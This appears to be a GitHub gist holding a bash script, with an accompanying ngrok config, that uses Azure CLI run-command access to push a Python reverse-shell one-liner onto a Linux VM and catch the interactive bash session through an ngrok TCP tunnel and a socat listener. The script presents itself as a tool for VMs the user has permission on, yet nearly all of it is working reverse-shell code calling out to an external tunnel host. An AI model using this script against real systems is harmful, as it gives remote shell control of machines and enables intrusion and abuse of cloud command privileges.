Last active
February 29, 2024 16:07
-
-
Save joshspicer/b5c66ad239031e3138469c5948c78bae to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Reverse Shell for Azure VMs | |
# Author: Josh Spicer <[email protected]> | |
#### GOAL #### | |
# For any Azure Compute Linux VM where you have permission to execute one-off commands via the Azure CLI, | |
# issues a reverse shell command to the VM and sends the shell back to you over TCP (via an ngrok tunnel) | |
#### Prereqs #### | |
# socat | |
# ngrok | |
# Azure CLI | |
# jq | |
# | |
# The script will automatically try to install these dependencies if they aren't detected on your path | |
# They can be installed manually by scrolling down and running each line for your platform. | |
#### Additonal Setup #### | |
# 1. Create/Login to a free ngrok acct (ngrok authtoken <YOUR TOKEN FROM NGROK.COM>) | |
# 2. Log into Azure CLI (az login) | |
#### Supports #### | |
# - MacOS | |
# - Windows WSL | |
# - Debian-based linux distros | |
#### Usage #### | |
# ./reverse-shell-azure.sh <VM GUID> [RESOURCE_GROUP] [SUBSCRIPTION] | |
RED='\033[0;91m' | |
GREEN='\033[0;32m' | |
YELLOW='\033[0;33m' | |
YELLOWBOLD='\033[1;93m' | |
BOLD='\033[1m' | |
GRAY='\033[0;37m' | |
NC='\033[0m' # No Color | |
VMID=$1 | |
RESOURCE_GROUP=${2:-"YOUR_RG_HERE"} | |
SUBSCRIPTION=${3:-"YOUR_SUB_HERE"} | |
# Check for correct number of arguments | |
MIN_ARGS=1 | |
if [ "$#" -lt $MIN_ARGS ]; then | |
echo -e "${RED}[-] Usage: [DONTCLEAN=1] ./reverse-shell-vm.sh <VM NAME> [RESOURCE_GROUP] [SUBSCRIPTION]${NC}" | |
exit 1 | |
fi | |
sudoIf() | |
{ | |
if [ "$(id -u)" -ne 0 ]; then | |
sudo "$@" | |
else | |
"$@" | |
fi | |
} | |
function extractURI() | |
{ | |
proto="$(echo $1 | grep :// | sed -e's,^\(.*://\).*,\1,g')" | |
url="$(echo ${1/$proto/})" | |
PORT="$(echo $url | sed -e 's,^.*:,:,g' -e 's,.*:\([0-9]*\).*,\1,g' -e 's,[^0-9],,g')" | |
path="$(echo $url | grep / | cut -d/ -f2-)" | |
HOST=${url/:$PORT} | |
} | |
echo -e "${GREEN}" | |
echo -e "======================" | |
echo -e "| reverse-shell |" | |
echo -e "======================" | |
echo -e; echo -e "${NC}" | |
echo -e "${YELLOW}[!] WARNING: CONNECTIONS ARE UNENCRYPTED${NC}" | |
echo -e "" | |
# Try to automatically install dependencies | |
( type socat && type ngrok && type az && type jq ) > /dev/null 2>&1 | |
if [ $? -ne 0 ]; then | |
echo -e "${RED}[-] WARNING: Missing on PATH at least one of: socat, ngrok, az, jq${NC}" | |
echo -e "${YELLOW}[!] Would you like to automatically install dependencies? (y/n) ${NC}" | |
read -n 1 -e choice | |
if [[ "$choice" == [Yy]* ]]; then | |
if uname -a | grep -i darwin > /dev/null 2>&1; then | |
echo -e "${GREEN}[+] Attempting auto install of Mac dependencies (requires homebrew)${NC}" | |
if ! type socat > /dev/null 2>&1; then | |
brew install socat | |
fi | |
if ! type ngrok > /dev/null 2>&1; then | |
brew install ngrok | |
fi | |
if ! type az > /dev/null 2>&1; then | |
brew install azure-cli | |
fi | |
if ! type jq > /dev/null 2>&1; then | |
brew install jq | |
fi | |
else | |
echo -e "${GREEN}[+] Attempting auto install of debian/WSL2 dependencies (requires sudo)${NC}" | |
sudoIf apt update -qq | |
sudoIf apt install -y wget curl unzip | |
if ! type socat > /dev/null 2>&1; then | |
sudoIf apt install -y socat | |
fi | |
if ! type ngrok > /dev/null 2>&1; then | |
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip -O ngrok.zip && unzip ngrok && sudoIf cp ngrok /usr/local/bin && sudoIf chown $(whoami) /usr/local/bin/ngrok && sudoIf chmod +x /usr/local/bin/ngrok | |
rm ngrok.zip | |
rm ngrok | |
fi | |
if ! type az > /dev/null 2>&1; then | |
curl -sL https://aka.ms/InstallAzureCLIDeb | sudoIf bash | |
fi | |
if ! type jq > /dev/null 2>&1; then | |
sudoIf apt install -y jq | |
fi | |
fi | |
echo;echo;echo | |
echo -e "${GREEN}[+] Install dependencies complete!${NC}" | |
else | |
echo -e "${YELLOW}[!] Exiting, dependencies must be installed manually${NC}" | |
exit -1 | |
fi | |
fi | |
echo -e "${YELLOW}[!] Checking for required logins..." | |
QUIT_FOR_LOGIN= | |
if (cat $HOME/.ngrok2/ngrok.yml | grep "authtoken:") > /dev/null 2>&1; then | |
: # Do nothing, already set up | |
elif [ -n "$NGROK_TOKEN" ]; then | |
ngrok authtoken $NGROK_TOKEN # > /dev/null 2>&1 | |
else | |
QUIT_FOR_LOGIN=1 | |
echo -e "${YELLOW}[!] ACTION REQUIRED: Create a free ngrok.com account and login${NC}" | |
echo -e | |
ngrok authtoken | |
fi | |
ACCOUNTS=`az account list 2> /dev/null` | |
if [[ "$ACCOUNTS" == "[]" ]]; then | |
QUIT_FOR_LOGIN=1 | |
echo -e "${YELLOW}[!] ACTION REQUIRED: Manually log into the Azure CLI:${NC} az login${NC}" | |
fi | |
if [ -n "$QUIT_FOR_LOGIN" ]; then | |
echo -e "" | |
echo -e "${YELLOW}[!] Rerun this script when finished with manual configuration. Exiting.${NC}" | |
echo -e "" | |
exit 0 | |
else | |
echo -e "${GREEN}[+] All logins complete!${NC}" | |
fi | |
# We expect a custom ngrok config file checked into this directory | |
# Fail if it's not there | |
CURRDIR=`pwd` | |
N_C_NAME="revshell.ngrok.yml" | |
NGROK_STATIC_CONFIG="$CURRDIR/$N_C_NAME" | |
if [[ -f $NGROK_STATIC_CONFIG ]];then | |
echo -e "${GREEN}[+] $N_C_NAME exists${NC}" | |
else | |
echo -e "${RED}[-] $N_C_NAME was NOT found at expected location${NC}" | |
exit 1 | |
fi | |
# Set the azure subscription. | |
az account set --subscription $SUBSCRIPTION | |
if [[ -z "${DONTCLEAN}" ]]; then | |
echo -e "${GREEN}[+] Cleaning previous session${NC}" | |
az vm run-command invoke -g $RESOURCE_GROUP -n $VMID --command-id RemoveRunCommandLinuxExtension > /dev/null 2>&1 | |
else | |
echo -e "${GREEN}[+] Skipping CLEAN step.${NC}" | |
fi | |
# Listen for reverse shell locally on port 56760 | |
echo -e "${GREEN}[+] Launching ngrok and socat listener${NC}" | |
NGROK_LAUNCH_SCRIPT="ngrok start --config '$HOME/.ngrok2/ngrok.yml' --config '$NGROK_STATIC_CONFIG' reverseshell" | |
SOCAT_LAUNCH_SCRIPT='socat file:`tty`,raw,echo=0 tcp-listen:56760' | |
if uname -a | grep -i darwin > /dev/null 2>&1; then | |
echo -e "${GREEN}[+] Launching in macOS mode.${NC}" | |
set -ex | |
osascript -e 'tell app "Terminal" to do script "'"$NGROK_LAUNCH_SCRIPT"\" > /dev/null 2>&1 | |
osascript -e 'tell app "Terminal" to do script "'"$SOCAT_LAUNCH_SCRIPT"\" > /dev/null 2>&1 | |
set +ex | |
echo -e "${YELLOWBOLD}[!] Two NEW terminal windows launched. Check your app dock!${NC}" | |
else | |
echo -e "${GREEN}[+] Launching in Windows(WSL2)/Ubuntu mode.${NC}" | |
echo | |
echo -e "${YELLOW}[!] Manual steps incoming! ${NC}" | |
echo -e "${YELLOWBOLD}[!] Open up TWO new bash terminals and copy/paste each command:${NC}" | |
echo -e | |
echo -e "${YELLOWBOLD}>>${NC} ${BOLD}$NGROK_LAUNCH_SCRIPT ${NC}" | |
echo -e "" | |
echo -e "${YELLOWBOLD}>>${NC} ${BOLD}$SOCAT_LAUNCH_SCRIPT ${NC}" | |
echo | |
echo -e "${YELLOW}[!] Press <ENTER> when finished${NC}" && read -n 1 | |
fi | |
set -e | |
echo | |
echo "====================" | |
echo "VMID: $VMID" | |
echo "RG: $RESOURCE_GROUP" | |
echo "SUB: $SUBSCRIPTION" | |
sleep 3 | |
# Expects ngrok config | |
ENDPOINTS=$(curl --silent --show-error -H "Content-Type: application/json" http://127.0.0.1:4040/api/tunnels | jq -r '.tunnels | to_entries[] | {"name": .value.name, "public_url": .value.public_url }') | |
REVSHELL_URI=$(echo $ENDPOINTS | jq -r 'select(.name=="reverseshell") | .public_url') | |
extractURI $REVSHELL_URI | |
REVSHELL_HOST=$HOST | |
REVSHELL_PORT=$PORT | |
echo "NGROK_HOST: $REVSHELL_HOST" | |
echo "NGROK_PORT: $REVSHELL_PORT" | |
echo "===================" | |
echo | |
# Don't bother continuing if NGROK_HOST is empty | |
[ -z "$REVSHELL_HOST" > /dev/null 2>&1 ] && echo -e "${RED}[-] ERROR: Ngrok reverse proxy was not started properly. Exiting.${NC}" && exit -1 | |
echo -e "${GREEN}[+] Sending command to VM...${NC}" | |
echo -e "${GREEN}[+] This may take a few minutes${NC}" | |
echo | |
echo -e "${YELLOWBOLD}[!] The rest of the script will continue in the \"socat\" window.${NC}" | |
echo | |
echo -e "============= USEFUL COMMANDS =============" | |
echo -e "Improve terminal responsiveness" | |
echo -e "> ${BOLD}stty rows 50 cols 200 && export TERM=xterm ${NC}" | |
echo | |
echo -e "${NC}"; echo; echo; | |
# Send reverse shell command to VM | |
az vm run-command invoke -g $RESOURCE_GROUP -n $VMID --command-id RunShellScript --scripts "export RHOST=\"$REVSHELL_HOST\";export RPORT=$REVSHELL_PORT;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")'" | |
set +e |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
tunnels: | |
reverseshell: | |
addr: 56760 | |
proto: tcp |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment